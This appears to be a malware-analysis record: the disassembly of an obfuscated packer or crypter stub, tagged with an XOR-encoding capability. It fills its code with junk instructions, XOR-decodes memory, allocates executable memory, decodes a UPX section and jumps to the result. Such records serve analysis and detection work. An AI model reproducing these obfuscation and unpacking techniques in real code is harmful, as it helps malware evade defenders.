Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xe6e97497
add eax, eax
sub ecx, eax
popal
mov ecx, eax
or eax, ecx
add ecx, 0xb5ed1d92
mov ecx, 0
mov esi, edx
and edi, eax
mov eax, edi
mov ebx, esi
and edi, eax
or eax, edi
add eax, 0xac8444bd
mov edx, ebx
dec eax
sub eax, edi
inc eax
inc ecx
and edi, edi
not eax
cmp ecx, 0x1003679
jne 0xa789c6
mov eax, 0x106e717b
dec edi
or edi, eax
sub eax, ecx
or ecx, ecx
sub ecx, eax
mov edi, 0xa78796
mov edx, 0xc8555ea5
sub esi, eax
mov ecx, 0xa7898a
sub edx, esi
not eax
mov ebx, dword [edi]
or esi, eax
mov eax, esi
or eax, esi
and ebx, 0xff
not edx
mov edx, esi
and eax, eax
xor dword [ecx], ebx
add eax, eax
add eax, eax
sub edx, 0x9d4161a0
inc ecx
and eax, esi
sub esi, edx
inc edi
inc esi
or edx, esi
inc eax
cmp ecx, entry0
jl 0xa78a12
or edx, edx
or edx, esi
mov esi, eax
or esi, esi
and eax, eax
and ecx, esi
or esi, edx
mov edi, 0xa7898e
not edx
mov ecx, edx
mov edi, dword [edi]
sub ecx, edx
mov ecx, 0xfa8c755b
or ebx, ebx
mov edi, dword [edi]
add edx, ebx
not edx
push edi
add ebx, esi
mov edx, 0x27f555ab
sub esi, 0x420ce2e0
mov edi, 0xa7898a
inc esi
and ecx, ebx
inc ecx
mov edi, dword [edi]
not ebx
and esi, ecx
mov edi, dword [edi]
inc esi
add ebx, 0x34269890
push 0xa78992
inc edx
or esi, ebx
call edi
sub edx, 0x222853ce
sub edx, ecx
pop edi
sub edx, esi
sub edx, 0xed522689
add esi, 1
push 0xa7899f
inc ebx
and edx, edx
or ecx, esi
sub esp, 4
mov dword [esp], eax
sub ebx, esi
add esi, ebx
call edi
sub edx, ebx
mov edx, 0xb934ec35
push 0x40
mov ebx, ecx
mov ecx, 0x481435a9
push 0x3000
mov esi, 0xaae7888c
sub ebx, 0x5bce8e81
push 0x200009c8
and ebx, esi
sub ebx, edx
push 0
sub ebx, edx
add ebx, 0x9254be2c
call eax
sub ebx, edx
add ebx, 0xba3dcaec
not ebx
add eax, 0x2000095b
sub ecx, 0x3d5ecd91
add edx, ecx
or ebx, edx
mov edi, 0x408263
mov edx, ecx
dec esi
and ebx, ebx
mov dword [eax], edi
sub ecx, 0x3f3dcda4
sub ebx, 0xd7b69fa2
and ecx, esi
mov edi, dword [eax]
sub esi, 0xcc848e98
add ecx, edx
sub ecx, 0x8e1af0b
cmp edi, 0x408263
je 0xa78b5b
mov edx, 0
mov eax, dword [edx]
add ecx, 0xdd7e953c
or esi, edx
mov esi, edx
add esi, ebx
and ebx, esi
sub eax, ecx
dec ecx
mov edi, section.UPX1
add ecx, ecx
sub ecx, eax
mov ecx, eax
mov edx, 0xa78795
and eax, eax
not eax
mov ebx, 0
sub eax, ecx
dec eax
or ecx, eax
mov esi, 0xa78796
add eax, 0xa531ae53
add ecx, 1
lea esi, [esi + ebx]
inc eax
add ecx, eax
mov esi, dword [esi]
sub ecx, 1
mov eax, 0x3631ab0
mov eax, 0x770b850b
and esi, 0xff
and eax, eax
mov ecx, 0xb062de31
inc ebx
sub ecx, 0x9ecf25b3
add eax, ecx
and eax, eax
cmp ebx, 0x1f4
jne 0xa78bd8
mov ebx, 0
sub ecx, eax
and eax, ecx
or eax, ecx
dec eax
or ecx, eax
mov eax, 0x221119f5
xor dword [edi], esi
or ecx, eax
sub eax, ecx
and ecx, ecx
add edi, 2
mov ecx, 0x80a7340a
or ecx, ecx
cmp edi, edx
jl 0xa78b8a
dec eax
not eax
or ecx, eax
not eax
sub ecx, 0x3a6fc16b
mov edx, section.UPX1
add ecx, 1
mov edi, ecx
mov ecx, 0x84a71595
mov eax, section.UPX1
mov ecx, 0xd1c7fbd3
inc ecx
mov esi, 0xa78795
add ecx, edi
mov edi, ecx
and edi, edi
mov ebx, 0
add ecx, edi
sub ecx, 1
sub ecx, edi
mov bl, byte [eax]
sub ecx, edi
inc edi
mov byte [edx], bl
sub edi, ecx
not edi
add edx, 1
not edi
sub ecx, 0x63531a19
add eax, 2
and ecx, edi
add edi, edi
cmp eax, esi
jle 0xa78c47
not edi
add edi, ecx
mov edi, ecx
or ecx, eax
add eax, ecx
sub esp, 4
mov dword [esp], 0x8dc6a0
and ecx, ecx
or ecx, eax
and ecx, ecx
ret